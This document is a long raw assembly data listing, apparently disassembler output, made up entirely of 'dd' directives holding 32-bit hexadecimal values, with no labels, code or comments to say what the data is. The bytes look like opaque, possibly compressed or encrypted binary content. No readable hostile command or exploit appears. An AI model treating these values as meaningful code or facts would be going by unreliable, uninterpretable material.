		dd 91C960E8h, 7100617Fh, 0D120A15Ah, 773BF66Ah,	0C13D0454h
		dd 0FE6C1F17h, 0E8DCBC21h
		dd 6864F412h, 93667338h, 0F805391Ah, 92C06A4Dh,	3D186CF6h
		dd 63B149E7h, 3CDA86A9h, 78B09364h, 0F8C48BA3h,	4A9680B4h
		dd 0EC933A8h, 4C21422h,	90ADD9C8h, 16BA8950h, 0B17114B3h
		dd 0ACA8C4B0h, 2A3D907h, 0FE548296h, 5B1034B2h,	8087888Fh
		dd 8A15709Fh, 5800CC45h, 0E3B4797Eh, 3D7A9DBh, 0BEBF40EBh
		dd 7100C0F7h, 2932D435h, 7156BF5h, 6F7B8055h, 933B4316h
		dd 713001C1h, 0F4983E84h, 8CF75E61h, 0AC1C87C4h, 578103EEh
		dd 0CEA61E64h, 259995F8h, 90592629h, 0C9B2E101h, 1EF4A58Ch
		dd 92580085h, 9EFE775Dh, 749088F8h, 0C026C90h, 7CA4185Fh
		dd 0D1586226h, 370B0AE8h, 1DA9138Ch, 474A0FEDh,	0D08143ABh
		dd 2E287C49h, 769FBC8Ch, 0D48100CBh, 51E5A718h,	0AB390164h
		dd 21590283h, 539FA29Eh, 0FFDE08E8h, 0C204A0A7h, 9A355Bh
		dd 5F48AC7Ah, 684D6B78h, 0B5F5B800h, 0BD23575Dh, 87BE25BBh
		dd 3E8218FBh, 517C2DFDh, 0F73000FCh, 926A4B20h,	4E164000h
		dd 0A9CF6CC1h, 6F7F1221h, 0F0B22Ah, 92E4BBB5h, 486AC7h
		dd 4AA3292Ch, 0B2D58B16h, 4B55EF3Bh, 859F74D1h,	0E8BE7987h
		dd 888AD3EAh, 0A178CA90h, 4637B000h, 68587CF0h,	87189125h
		dd 807403FFh, 507F4305h, 0AC1D9E00h, 0FEB38E98h, 0D3380925h
		dd 2C446C20h, 93C2E01Fh, 49C3B040h, 170AE1Eh, 0EE316A2Ah
		dd 78B63E32h, 0E430D65Ch, 2FA35ACh, 0C75B08E3h,	54F2DBE8h
		dd 1DC5B720h, 80CF737Fh, 9D104B22h, 34492DC2h, 30574C84h
		dd 48DF295Ah, 980F5CC4h, 0D1E05104h, 8C1CC85Fh,	11E028FFh
		dd 0D00D034h, 0EA6E3D07h, 0AF025872h, 0E28774EFh, 4000D61Ah
		dd 4D3F3C51h, 93CA8400h, 0A4DB31A0h, 0ECC00E5h,	0D286A324h
		dd 0CCB5C8EEh, 0A8F0D4h, 453C882Ah, 8C51905h, 0D2ED0C1Eh
		dd 0F256318Bh, 7D7B21D4h, 48875190h, 0A37CD4C3h, 76B32298h
		dd 24A3B5E1h, 0A7D59Ch,	145BD272h, 65854900h, 0BFFA2E8Dh
		dd 15A4A9D3h, 0C4743Fh,	6ED557F4h, 0E100AD50h, 128C61B1h
		dd 263F5C14h, 0C480FD1Dh, 33F0827Fh, 54008CFAh,	0A91E051Ch
		dd 9444980h, 0AEA17F70h, 28596807h, 0EB908605h,	98903C13h
		dd 1B6B511h, 0DD1CB783h, 0E8486C46h, 921E0B15h,	161D8295h
		dd 2C09EAD2h, 0E29041E6h, 55027428h, 5C1024D2h,	0C9C0B8DEh
		dd 2E78DBBh, 2090D6E3h,	9850E8AAh, 0F8D9DD0Bh, 0ECEEAEh
		dd 249B90E4h, 0CF2F4DC0h, 17A15B4Ch, 0C4C8E312h, 0D07E1CF8h
		dd 2B168061h, 0DD801BBCh, 59ACA100h, 108AC23Eh,	7C810E55h
		dd 2EC749BEh, 14C0CEA4h, 386A74E6h, 861AC0BAh, 0E679E4D7h
		dd 6FD300ACh, 2823FB24h, 5D0F4C21h, 0C1E6DA3Dh,	44A6086Dh
		dd 605B3870h, 0D79331B2h, 4099A41Ah, 7F4E9080h,	1CF2E3h
		dd 0BB92EEF1h, 0A0E1DD37h, 0D7D15F02h, 851A828Ah, 50ACD844h
		dd 894611A0h, 0FAB64D0Bh, 7CDD0155h, 0DA20C439h, 0AD2003FFh
		dd 0AAF4C8A5h, 7CB3314Eh, 2E51F21Ch, 7CF03E2h, 0A04CD43Ah
		dd 19F4C0B8h, 705AD0h, 0C316BD20h, 5CFD4F5Dh, 0A3D2C19h
		dd 0D4203799h, 27785E45h, 7C8F48CCh, 0DBC0616Ch, 1832F9D9h
		dd 0EA71BE0Ch, 1D2D296Ch, 86548235h, 487056DBh,	329254h
		dd 0B5F74DFAh, 4F008ABDh, 7BB802DCh, 0D3175853h, 0CB1000D9h
		dd 0B5B17D22h, 750090A6h, 0F65CB4C0h, 3D76ADC3h, 0B280231Ah
		dd 0A7E9407Fh, 0A5587DA2h, 0D7CC0730h, 0B615105Dh, 0B5AAB280h
		dd 46C0C01Ch, 5B327B88h, 27E9DC4Ch, 5E540B3Fh, 50084178h
		dd 0D16F60D9h, 4DF2061Fh, 2F7D7181h, 0D3F6891Eh, 20E0B0C0h
		dd 0ACB981FFh, 47170602h, 0D5486032h, 988B8AD3h, 0AC688474h
		dd 91FE6F60h, 3DE8B682h, 0D1444001h, 2ABCA2A5h,	0CDDCF804h
		dd 0D800F8E3h, 0C50714E3h, 0E3A07C32h, 9900B61Ch, 0F24D2044h
		dd 1D9EB5D7h, 0E7BE37A3h, 7D01D77Ch, 7CBAAF4Bh,	0C96E47F1h
		dd 0E489D58Ch, 0E4755AD8h, 282C4112h, 0E50888h,	37622FE1h
		dd 0BEC0ABE8h, 83656C00h, 0C543A0EEh, 169098F0h, 0A22E7E38h
		dd 0A29001FCh, 0E82860B4h, 0DAD46721h, 23352726h, 0E885CF3h
		dd 807F9C9Eh, 0D9230CD6h, 6BFFEECEh, 3EEC6CCDh,	3F8000C4h
		dd 57FD2544h, 0A83CCFF9h, 779D0083h, 7ED1D7CEh,	4E6909ADh
		dd 38820E13h, 0A0FC5401h, 0C2BACF58h, 81F6E219h, 0FE6CCCA1h
		dd 0FF47353h, 6B5A82E6h, 40DC5C49h, 71192376h, 0BB8AAA00h
		dd 0A39C2113h, 4A3D01E4h, 9D333593h, 80F839C3h,	7542BBA9h
		dd 0DDEF0044h, 5B9B77BEh, 939FA416h, 3B729850h,	0F19648B3h
		dd 0E6EAF700h, 0A20AFD33h, 0D2BE8361h, 207BB942h, 142192ECh
		dd 940A3A72h, 7057ED35h, 0EE57969Dh, 0AE00CCE3h, 11DDC7F4h
		dd 5A04CE4Eh, 8203C510h, 8888D384h, 0A834420h, 72FB1D05h
		dd 0F9C0DC38h, 0A5F57Bh, 4B141810h, 25B6C002h, 8FD2BE1Ch
		dd 4953D428h, 81DC22B4h, 500859C0h, 155B10E9h, 0D486805Ch
		dd 76C0149Dh, 7AE10067h, 0E9241E01h, 0FD7F3D98h, 0C22285Ah
		dd 0C00A248Ch, 0C242B8E2h, 3050DE00h, 90CAB2E0h, 0CB1507F3h
		dd 0A33153h, 0E772F805h, 69875804h, 88CEFC6h, 318C160Bh
		dd 840C32C7h, 3BFE0A20h, 6AB10030h, 0F5E27462h,	491C4433h
		dd 0C7005CB5h, 0EC777C65h, 642D4853h, 0F581E501h, 2258ED36h
		dd 0BF430024h, 4278233Ah, 885B5F50h, 0B512B98Ch, 4302826h
		dd 7C21BAh, 71D29FC2h, 5F68E7A7h, 5CD6D709h, 8BB480ACh
		dd 97C334D1h, 0DF4458C0h, 0C4383714h, 0EAB7C0A0h, 0D50483h
		dd 0AD4D1D96h, 6E9EF3C0h, 0E5982C69h, 760A3808h, 9ACE66h
		dd 0AD3D2F9h, 8D3D9CC4h, 7A5A18D7h, 5554629h, 8C2B4890h
		dd 0C42CF91Ah, 2C11B9EEh, 3936321Fh, 1D13A400h,	0FA9ABEE7h
		dd 58A03E4Ah, 0BD153A3Ah, 4E622204h, 0B009EBD5h, 0AF84A087h
		dd 9E6D6C9h, 0C1CC7743h, 10277CDCh, 72FBE94h, 7195D1A2h
		dd 9ED6E003h, 0A17DB214h, 26C61D1Fh, 0AE98AF40h, 1F5C77FBh
		dd 401E547Ah, 1908C8A0h, 9C004244h, 8FF02B45h, 18B9047Fh
		dd 40A0839Bh, 8E007ABFh, 0B17CA822h, 0C094032Eh, 23F59F18h
		dd 28C69EB4h, 318114h, 36C119C6h, 7A0AAC4Bh, 1E289B62h
		dd 0C24079Fh, 0D9312EFCh, 74DB4993h, 42A00881h,	0F4E2F37Dh
		dd 5C982672h, 62158900h, 1F64BF9Bh, 0C0330612h,	79B16F91h
		dd 0E968DB1Eh, 3EBC7Eh,	71C3497Fh, 0FE03BF15h, 1F2E14A2h
		dd 82858FEh, 16250044h,	0CE7DEA60h, 850E0B34h, 0C587F715h
		dd 0DF0A91D6h, 9A86A084h, 30A1757Ch, 2679B06Fh,	0A80F5E43h
		dd 80AC150Ah, 5AE84612h, 4C00079h, 92A7D9Eh, 7F00C13Ah
		dd 577C874Bh, 0A4B924F6h, 0B1804498h, 21A40700h, 2EE4C97Ah
		dd 14B9E09Fh, 3CDC3E66h, 0DA370101h, 0F87327A8h, 71009167h
		dd 8A5EAEB1h, 3DF49Dh, 0FF01BF95h, 70D003F8h, 0BD815500h
		dd 728496D2h, 332EF041h, 9E518B7Bh, 0E1781BBBh,	61270238h
		dd 0EC1E8724h, 408CE761h, 7731B1DBh, 5398F600h,	7A2E1789h
		dd 7D24A08Fh, 430901BFh, 87FA5104h, 0EF74C030h,	0F815238h
		dd 0C15A34D3h, 0D9BF6E29h, 0E6D71C40h, 8C45076Fh, 656826DBh
		dd 0C28C40AFh, 69D1FC1Ch, 962DB90Fh, 9D24E0E0h,	0C6403Ah
		dd 1CC7C5Ch, 209AE614h,	64890A4h, 77708008h, 674753h, 9BB32C32h
		dd 8FDC1AD9h, 0B0004E8h, 0A8453439h, 0ACC53B8h,	97367D37h
		dd 0B5CA8084h, 0DF6BC4A5h, 0A0DD5A00h, 50892508h, 0FAFC77h
		dd 0E69D205Ch, 297ED91Eh, 30887C22h, 4A81B606h,	0D5E84333h
		dd 1C0EEE01h
		dd 0FF6BF84h, 48087045h, 1B3142A3h, 14F1E20h, 18FB003Dh
		dd 15974C7Eh, 830184AFh, 16247827h, 0C0201BABh,	0C0A04517h
		dd 4248123Eh, 0DF6603D8h, 0B36FF5h, 3C57B569h, 7AFD2CA5h
		dd 0C3F9E700h, 0BF030D26h, 0F7B60E0Ah, 27A19E52h, 226F57A8h
		dd 0B5F1074Ch, 958287F6h, 0B428A1B3h, 0C1E46AD9h, 169D0F2Eh
		dd 5C40107Fh, 0E5A25021h, 99961533h, 0F49CC028h, 33611ECFh
		dd 76D04934h, 1AF52802h, 438BE26h, 275BD604h, 0EA488054h
		dd 882C3DC9h, 0F420D965h, 0D89106F0h, 0DF1F8300h, 2838F5C4h
		dd 0FEC0D3A3h, 90E4E8FCh, 6C8300A6h, 0CEFD2703h, 41C08418h
		dd 6673A10Dh, 2FB70746h, 0B2243001h, 0BC913EF6h, 4885607Ch
		dd 1DFF712h, 9182FC0Fh,	9D030D3Dh, 4F3C8818h, 0FD210498h
		dd 0A6232918h, 979EC9h,	342E8DE4h, 7D5C0419h, 297E60F7h
		dd 0BF28A875h, 0B914A0CDh, 3E2C9AAEh, 1841EC7Bh, 0C67C889Eh
		dd 0AA1F2909h, 0A32C10DCh, 0A4760031h, 71C0CBC1h, 0E90A30E3h
		dd 0AC35E71Eh, 308C22C4h, 1A228608h, 0C525121Eh, 6FE820DCh
		dd 0D009FD1Bh, 99F3CF89h, 0A5F8F534h, 0B46070Ah, 0E0641B55h
		dd 0AFB9F78Dh, 21686C01h, 76752E66h, 2B2443h, 0DA317D61h
		dd 0E3D37CD9h, 4712400h, 764C5554h, 0A6F80015h,	0AFE55311h
		dd 0A1C6921Dh, 149B9DBh, 0FD0C13EDh, 0FC5A231Ah, 840049F8h
		dd 0FBD16BEBh, 541434C9h, 726949Bh, 4F420C01h, 9347A0DCh
		dd 8C26E104h, 2E426836h, 0DAC0F527h, 2335B759h,	861F196Dh
		dd 801642C0h, 9040892Fh, 69150056h, 0F78335E8h,	3800D2E5h
		dd 29329EC9h, 0C71C0BF6h, 0C7122EE1h, 1857C687h, 379EB322h
		dd 61A71Eh, 0CB301587h,	5041E4A2h, 34B910A6h, 0BFC1C09Dh
		dd 506B9504h, 44D7CE2Ch, 0A46CE70Ah, 775C2F41h,	78ABB0DFh
		dd 65BC0035h, 31170A70h, 43001595h, 7D5DD73Ah, 6713B1Eh
		dd 6F01C77Ch, 1C0091B7h, 660A49D3h, 7A8780C8h, 0B9520EFAh
		dd 1322A5Eh, 0E0EB9490h, 0FEEC6083h, 0E116220Ah, 5C00206Ch
		dd 7B853389h, 0B470530h, 177F3Ah, 8EC653A4h, 2898A129h
		dd 20142609h, 30C8294Eh, 0C5973Ch, 3D6AD421h, 526A406h
		dd 103A0C09h, 23C402A1h, 0B98A0F6h, 15C09BAh, 9AABFD49h
		dd 0C8935319h, 776FBDE7h, 0EF4A860h, 0A80435D2h, 0C178848Fh
		dd 509C3190h, 0A0150A8h, 0D91C3605h, 1AC4C891h,	44E6B8C2h
		dd 70DB4808h, 8B239480h, 0C61C3DACh, 7FC0206Fh,	0C1E03C50h
		dd 0E9700E7Eh, 0A6E395A4h, 40B6B639h, 49F92030h, 74DDE5D6h
		dd 0C5280F14h, 0AC0E36Eh, 87B119B0h, 89592700h,	0A61C5FCEh
		dd 0A197612Fh, 84A4779Ah, 377C9E81h, 0A68088h, 1E31817Eh
		dd 0C4EFC302h, 0D0E5DA00h, 928E50D1h, 304B1CBDh, 0AFF0853Eh
		dd 2CB404F6h, 7842019Fh, 0B0D83BF5h, 0D847266Eh, 48F100BBh
		dd 155E69A8h, 23780800h, 0B11AB78Eh, 14A6F27Dh,	0E4BFAD61h
		dd 0E5CED848h, 3F86E840h, 491D6EFAh, 798002ADh,	0D6784A8h
		dd 538F012Eh, 0B4D9A6B1h, 261883A3h, 0A681F259h, 0D8940328h
		dd 862A6E1Fh, 8AC23087h, 4A7B38ADh, 0DFC74811h,	0D5EEB500h
		dd 0C834E297h, 144CE903h, 26D9C195h, 3B421h, 581B6C4Dh
		dd 5A03EFABh, 8382317Bh, 263CD04Ah, 499DF89h, 6CB355h
		dd 1BCBA1D3h, 0B954615Bh, 0BCAC7006h, 65B800A8h, 4CBEE58Ch
		dd 0F4FA01F5h, 0F22AEFDAh, 0A479807Ah, 3A0D70E6h, 0F03CE06Ch
		dd 0E8160088h, 7E85302Fh, 590774D5h, 0A908EB2Ch, 78AA86A0h
		dd 9767159Fh, 0F1008887h, 45F33DB0h, 5F985066h,	67A70F00h
		dd 2D380B37h, 2CC20078h, 0C4260A1Ch, 1A03AF96h,	0AB6B5607h
		dd 0F38FC0C3h, 0CD18CF8Dh, 0DA6A3880h, 9F00D824h, 0A7F11C41h
		dd 11A132Dh, 775501F4h,	879251C0h, 0BD20EE31h, 74A6484Ch
		dd 8D8083D0h, 6B07AA5Eh, 5F8225CFh, 0FF4257C0h,	0E7F60624h
		dd 40A0C8C7h, 0E90309F8h, 12B23C2Dh, 0B085BBF9h, 66E0F40h
		dd 24EEC944h, 0B70361B0h, 4B9E03D4h, 6DC91E80h,	0D5A78C34h
		dd 163BB679h, 266E8192h, 6B9EDE36h, 46BAF0h, 548FB283h
		dd 20F09FDAh, 0BF152100h, 0A7966391h, 3451C00Fh, 38C9A523h
		dd 0CB119900h, 0DAACE576h, 2FF9063Eh, 0F9C853C0h, 30132100h
		dd 0B8D840EFh, 2940C03Fh, 6CBDB51h, 0EBD5400h, 3635D07Dh
		dd 0C0CE1C37h, 0C44D882Eh, 0B4064080h, 0FC5383h, 191B688Fh
		dd 0D641A06Dh, 0C657EA01h, 0D34B29C9h, 7EFECCE0h, 7DF0CBh
		dd 0BB44B8B1h, 54C1B268h, 2E2AD400h, 0DADDD6B9h, 1D3A01E0h
		dd 0C9AEB0A8h, 0D12BC07Ch, 587C9477h, 19B4F030h, 38F41F66h
		dd 0D58041FBh, 0FDF2B44h, 0E10F4AC2h, 4020B20Eh, 61D38EDCh
		dd 0F8DAA39Eh, 0FCF5DD1h, 0D2D0EED7h, 1BCE2180h, 0F3061910h
		dd 0DEF18EB8h, 6E3E0C10h, 23303501h, 16BC0440h,	0EF6B4D8Eh
		dd 6011880Fh, 8B12F035h, 1153606Dh, 96C53466h, 0A586D101h
		dd 988F0709h, 2180C3D1h, 0BBC53C93h, 0EB3B17DEh, 0FE4900EAh
		dd 5CA188C2h, 0D559CF09h, 5E8C5240h, 0F733AD94h, 3DBF0965h
		dd 5200F521h, 47CA5D4Fh, 19C1E32Fh, 91C42765h, 30CE6E0h
		dd 5CB192ACh, 0C0042CCFh, 702D3F04h, 0CEFC8901h, 0B1188002h
		dd 675F8D34h, 4010DED4h, 9E1C5B74h, 5C00D5DDh, 0D1C969FEh
		dd 7D42510Ch, 169B1C84h, 26C047A2h, 28B80046h, 92004811h
		dd 18A6D5A1h, 334BBA9Bh, 0EA08B331h, 98F12100h,	92AE4D5h
		dd 7B41488Eh, 5DAD1Dh, 0AE0884AFh, 860719D0h, 4CDE98B2h
		dd 68384Ch, 232FE92Ah, 0CB1A53F3h, 3008ED66h, 2880321h
		dd 0C1121DE9h, 4620EAD0h, 0C017DD00h, 839CEFB0h, 0AC58C1BEh
		dd 4B1126E6h, 0C73D8830h, 0BA2130A2h, 7303549Ch, 0FAA4D4F5h
		dd 28D86E75h, 27625D00h, 80639B2Ah, 0C84F8270h,	6D55A0h
		dd 0B0BFB74Dh, 3A7D16CAh, 88397360h, 32C08F1h, 0AE6C93AFh
		dd 8305BA9h, 496F2160h,	97650109h, 900FE6B8h, 0B9508816h
		dd 0D7DB00EDh, 6BE76304h, 0EE001CF4h, 0FD47731Ah, 97E1E8h
		dd 89481631h, 391EDE34h, 0C0004CB0h, 6D2FEFD5h,	0AEAC13h
		dd 5F2A08A1h, 0DDB73315h, 0A7E24600h, 300198C1h, 41536096h
		dd 0C404F5CDh, 838C1E38h, 7CB9C9DFh, 26E88855h,	622D30E2h
		dd 67B24628h, 17204917h, 0A37FF03h, 93598F1h, 0D5B00078h
		dd 0B96615CBh, 92071760h, 0E3FC853Ah, 4E649BC0h, 9748069Ah
		dd 183B01F8h, 18E7D73Ch, 0FB908CF4h, 0FE8B0346h, 350FA031h
		dd 8A897007h, 3A8765F6h, 2DE51240h, 6B900F7h, 0A555634h
		dd 136062F2h, 0A1C57518h, 97053CB4h, 0A00BE900h, 900ACDE6h
		dd 8048BAF7h, 0AA1B1441h, 449FB8h, 0F9EEF3Ch, 3C18EA0h
		dd 4D266700h, 0E2930536h, 7ECA1CB9h, 5C3E804Eh,	0E91AD148h
		dd 0F3AC2600h, 0C70F2710h, 0C87800C0h, 0FBF29BA1h, 78B8A4C2h
		dd 0DDD78D07h, 4CD73F10h, 846BCCC0h, 0C0C637A6h, 0ECEFC070h
		dd 2651FE10h, 0AE76D808h, 0E44DCD00h, 791FEBA5h, 0C197E8A3h
		dd 0ACDFE521h, 248946BDh, 17AE3300h, 0F3429828h, 3E79C00Ch
		dd 51133D2Ah, 9A10FF61h, 408F0D47h, 0F080E89Eh,	8E72C8B9h
		dd 0AFF5C8C0h, 7B27EB66h, 0B2DF0039h, 7E43C9A2h, 0D07F7B29h
		dd 47803Bh, 744C1246h, 768AC61h, 91DC5783h, 8541735Ah
		dd 81B3E0CFh, 0A7002BF5h, 75BA0B0h, 794A606Ch, 2F8206B9h
		dd 10636169h, 0F0045F53h, 0C08ACF8Fh, 520B8110h, 2813E71Dh
		dd 0F5001090h, 0D0C93C2Bh, 2E8E01F7h, 81A21C3Ah, 0FC1441BCh
		dd 8FCA000Fh, 0E0680088h
		dd 0C070B6E4h, 0DE0079F2h, 0D42977BCh, 1F430F8Ch, 164FA7Ah
		dd 2A65AA3Eh, 440930B0h, 3AF3F900h, 2B82504Bh, 813E03FAh
		dd 0C662C74Fh, 5539F6C0h, 6800A4F0h, 0DCE0BF84h, 75FA0DFh
		dd 0A8771C40h, 2516306Eh, 1D752F24h, 6071561Ch,	9C1132C0h
		dd 0DB87EAh, 39BD153h, 0F4BB8EA2h, 0A45FCC18h, 3E78F711h
		dd 0AC011C9Ah, 621A2DB9h, 0D2904051h, 36E4434Ah, 37A3A200h
		dd 3BC086D4h, 9A023946h, 83666B00h, 0B3A9E538h,	9B00777Ch
		dd 3C228071h, 3E9A984Dh, 7400FC36h, 97317B68h, 855CAA5Fh
		dd 20171F32h, 42797040h, 0D1C225h, 0C74EE988h, 24F5BCF6h
		dd 5C047200h, 89C84D4Fh, 13580014h, 366553Dh, 0A2031D2Dh
		dd 0FDED4572h, 0E83188A8h, 0B85460CBh, 0BFF067E2h, 0DEACD803h
		dd 0D01419C7h, 123943Dh, 2AA22612h, 0C0D332ABh,	91009CD1h
		dd 9D534219h, 76515D6Dh, 2863009Bh, 97620365h, 0C8A839E8h
		dd 3B0B9CE3h, 60F781Ah,	196C17h, 3C8743E6h, 10A78E68h
		dd 5D724900h, 61BE7FE0h, 56980269h, 0E6B52230h,	99AB8940h
		dd 82DBAD01h, 0C7E16ADDh, 0F64997h, 79D713A9h, 960A056Ch
		dd 0C80EBAD9h, 0F8C3E680h, 389D347Bh, 0D08085ABh, 0F2D62AC4h
		dd 0A800E1A5h, 57D3D27Ah, 2B3D21h, 0AE9598E4h, 23DA15BAh
		dd 0F840500h, 0D6A56FAh, 0EDD71829h, 31BF78C4h,	7819B700h
		dd 0E29D2430h, 32530003h, 0E14867Fh, 0D20729DFh, 169586Eh
		dd 66B780F9h, 60C2AB8Bh, 55A111A6h, 300A2BCh, 0F610BA5Ch
		dd 16ABACh, 1BCAE545h, 0D87602D0h, 9E309400h, 187F0FFh
		dd 0C65307B8h, 0E1134899h, 0C8022390h, 0EC927F30h, 8F8B3700h
		dd 80702A9Bh, 66D70035h, 0D178328Ah, 0F800A3E7h, 2839C1B2h
		dd 77733EAh, 0A6A17FB3h, 0ABB89171h, 0A812F85Fh, 0BA8BFA02h
		dd 60F366C1h, 49720h, 2EB8696Eh, 0FDB96292h, 73453Ah, 0E1B23139h
		dd 0A644ABh, 7B8036ECh,	0A293198Ah, 0E6EDE400h,	70DE47F2h
		dd 0F92C0FCCh, 60ECEE64h, 730180B0h, 0D1F12FC6h, 50804BA2h
		dd 9DB32C48h, 0B878FED3h, 35D58000h, 58A243C5h,	7CB7265Dh
		dd 0BD0D8048h, 34F1E802h, 381C2EE8h, 6CC05B46h,	35958F22h
		dd 0E4C0043h, 2A41ED5Ah, 9D002328h, 24C05ED1h, 71D6505h
		dd 4885F1AFh, 5058D708h, 0E455C688h, 0A4DA7200h, 51980F02h
		dd 0D9D70097h, 23FB6908h, 2B0FF98Fh, 6ADBCCC9h,	0EC0099B0h
		dd 8754F6A9h, 15403EEBh, 0BA7F478Ch, 0C100DAA8h, 5D9F3A80h
		dd 0F9662Ah, 0EAB5920Eh, 1A460313h, 95EC2D00h, 0E9B7DACDh
		dd 0AEA501EBh, 0E311F0B6h, 46B8CB08h, 80B090D7h, 0EBDCFC01h
		dd 0B277F7E8h, 5FA2CD40h, 15BF142Bh, 570BF0F5h,	0C700E36Ah
		dd 95313C77h, 737B2F00h, 0B3BB03Dh, 515F6E96h, 113C34Fh
		dd 5667859Bh, 83202031h, 3B2939h, 6032282Dh, 13F47CD9h
		dd 3CF12C3h, 1985A06Ah,	9835BBA0h, 133FC171h, 72068008h
		dd 0D93F333Ch, 26F80059h, 2DE7D655h, 92178C49h,	9B00F395h
		dd 0B001D929h, 7760060h, 0AFD39E97h, 4E1D8906h,	3F40046Dh
		dd 1C97C9Fh, 78600066h,	12CACFDCh, 85000CA2h, 0ECE23F0Eh
		dd 0DF9749h, 5AD3BF51h,	98A81CDCh, 1F92A006h, 20EA62h
		dd 0E3A9FFF5h, 0AB79B33Fh, 0EFC56500h, 0FDC16146h, 6660E1Bh
		dd 4060C473h, 0D2EC1778h, 2ABF9A03h, 0E9508560h, 9EFC958Bh
		dd 0CC230B7Ah, 4001630h, 93F6CE3Ch, 9061332Ch, 7431DC13h
		dd 606C6D8h, 6C74BE00h,	3E18F6C1h, 8900068h, 2EE13867h
		dd 5590CE82h, 49733A00h, 0B74A75FDh, 8605006Dh,	8E02761Ah
		dd 8D079013h, 2D367C85h, 0B0233C23h, 6321EE9h, 0A7C3BDE2h
		dd 420EB222h, 0A059BB2Fh, 4B99A2C8h, 95E30079h,	0AF5116C0h
		dd 2400B691h, 801FA602h, 2641EEh, 0D0B93533h, 81387C98h
		dd 45993100h, 0FBBB8A68h, 7F7D00DCh, 0D6FC70ABh, 98030C58h
		dd 0C6551DE8h, 0E312D882h, 457E06h, 22F4AD27h, 0FDF1EE4Fh
		dd 0DE893Fh, 8372881Eh,	609EA624h, 7793807Eh, 5F2273Ah
		dd 47BAA500h, 0A811A18Fh, 6FFA0079h, 686E099Fh,	16002C59h
		dd 0CE745F17h, 3F398DDCh, 182E0593h, 2264009Eh,	16D2FAAFh
		dd 0BBBCAD01h, 236A29DAh, 0E4AB19FCh, 6CEB01C7h, 6FA76849h
		dd 0EA05CC90h, 97A44C03h, 7C93DCEEh, 70D7F70h, 0DE621D3Bh
		dd 477A77D2h, 749CB0D4h, 7C60A485h, 0FDC42928h,	709200C0h
		dd 6D72C146h, 0D100D5E3h, 0BF2A4E5Bh, 7D2CEA7h,	7C1EA41Dh
		dd 0CCC120B6h, 0E1FFA52h, 18027DBh, 0E66CDAEEh,	58B00012h
		dd 0AF33A681h, 9503157Eh, 2942C92h, 3621006Dh, 39DA6FDh
		dd 83F046AAh, 69005BF8h, 871590FAh, 1F70097Ah, 0FB93592Fh
		dd 0C466610Eh, 29A5C05Eh, 0F7DF6F3Eh, 0CF63AD03h, 0EA8E7688h
		dd 0EF1AE0C1h, 6E240092h, 7089B462h, 130147FDh,	275597C9h
		dd 6F41581h, 38EECD2h, 7DC2C76Ah, 0BEA8F776h, 0F100DB6Ch
		dd 8DD1EAB2h, 3CBD7016h, 0F40001FCh, 8B2BA3D2h,	673DA10Eh
		dd 909F94A5h, 0EEB20098h, 2C85D393h, 10BF009Dh,	0D5121689h
		dd 0FE00DF7Bh, 0EDADC419h, 394AAF6h, 0ACE2B676h, 0F9786E9Dh
		dd 0BF027E0Ch, 0A4121113h, 854A3088h, 54526810h, 3BAD2405h
		dd 0A001E405h, 26EBE121h, 76605BDDh, 69150CE8h,	0C129AD9Ch
		dd 0CA463D84h, 22848340h, 0CD428B0Fh, 21D1E611h, 0AB5908BFh
		dd 0B400C991h, 121057BBh, 9600AC41h, 0D2B13EBAh, 3489DBh
		dd 91334866h, 0E8F14FC8h, 0AB14EE03h, 0E35FDA80h, 0E581F8FBh
		dd 19E6008Fh, 1D5B1C0Eh, 2EF6B9FFh, 0D0AEBC00h,	731696Bh
		dd 0EF7E00D2h, 0E344D748h, 0AD031C70h, 0DB5B8872h, 4EAE8806h
		dd 0D98009Ah, 522DB146h, 9E3EC14Ch, 0D7158061h,	5003CC9Dh
		dd 85CA00FFh, 0BC8F3001h, 9B002A0Ch, 0D82C239Ah, 0E57D570h
		dd 0CED41BDCh, 0A4B6E40h, 0D0F58C9h, 7C03E9h, 3A1BE146h
		dd 233200E3h, 0EDFDD4D0h, 4E01CA04h, 0E0E4F8C5h, 0DC508B11h
		dd 13E8D25h, 0AB0901EFh, 0A40A48E8h, 80399568h,	8A465CBBh
		dd 9B77C8h, 3C97E9EAh, 0E16D5F78h, 57770198h, 85D9A800h
		dd 0EED0E6C0h, 6BE400F0h, 7BADECA1h, 68C0E54Ah,	0A730FE71h
		dd 29330FCCh, 81E0C617h, 59F04FA3h, 0A2F54900h,	44BA3205h
		dd 5CDD0056h, 0FFD9D2E0h, 533DC820h, 7325801Fh,	0F83805F0h
		dd 9AB70085h, 0F4C482CCh, 86904455h, 0A607B5EEh, 0AB7AC8C2h
		dd 0B0E7BA80h, 0A7750024h, 1362F04Bh, 6D052D74h, 0D8716B1Ah
		dd 4B4F103h, 0E157E8C8h, 5F980050h, 0B0D5533Eh,	0C000379Bh
		dd 714F2740h, 1448263Bh, 0BC8F992Ah, 1B3D6000h,	9D673C0h
		dd 52471F00h, 2C6C7664h, 6DDE06BBh, 21EE1CEDh, 9A01DD1Eh
		dd 35C3DA00h, 0F46F4021h, 4C1B77BBh, 79BC8Eh, 91604BD3h
		dd 0BD12D250h, 2713A200h, 96EF83BFh, 0F287002Fh, 48E3E90Ah
		dd 7B82DD3h, 0CCAF6412h, 76F60B00h, 3815AE1h, 0DF36826h
		dd 93E82EAAh, 0A200B486h, 8D1CEE43h, 9670B3h, 0FBA5E7E4h
		dd 109BCA25h, 0D2BC020Ah, 5400900Ch, 0E72126B7h, 0E5B0001Bh
		dd 7CD148F9h, 6226606Bh, 0FB1D19D9h, 0F7865D80h, 1FFA192Fh
		dd 4072D052h, 2267976Fh, 0CC00092Bh, 94440A87h,	0F22EE5B9h
		dd 0B1D84841h, 0F7020400h, 84117D3Bh, 0EF2C2F0Fh, 49502099h
		dd 0B1CEFAh, 5A9AE9BDh,	1E32038Fh, 0D2769E00h, 0F03EEA66h
		dd 5CF101AFh, 146DBA50h, 72C3F005h, 0AE0F3800h,	0D8555B6Ah
		dd 0BAE300CDh, 123EFC50h, 0A401644Eh, 51A33BABh, 5BF841B0h
		dd 0D05A0038h
		dd 0B136EF3Ch, 37008883h, 46B4FCE7h, 0C8CD7Dh, 0E0EC4DD4h
		dd 9F0EC258h, 0CE13AB03h, 988F78A7h, 7CC3271Bh,	69F33B76h
		dd 0A1B5E580h, 8ED56C0Dh, 0E2676D18h, 0CEC2C8h,	0B1523CAFh
		dd 317C576h, 9B2B0200h,	29DB88AAh, 66D40016h, 0B61A2047h
		dd 600809Fh, 78320E44h,	7EC98592h, 34F800D9h, 6BDE6CA0h
		dd 22039697h, 8C4FD006h, 5117C9F5h, 2641CBECh, 0EABC6Dh
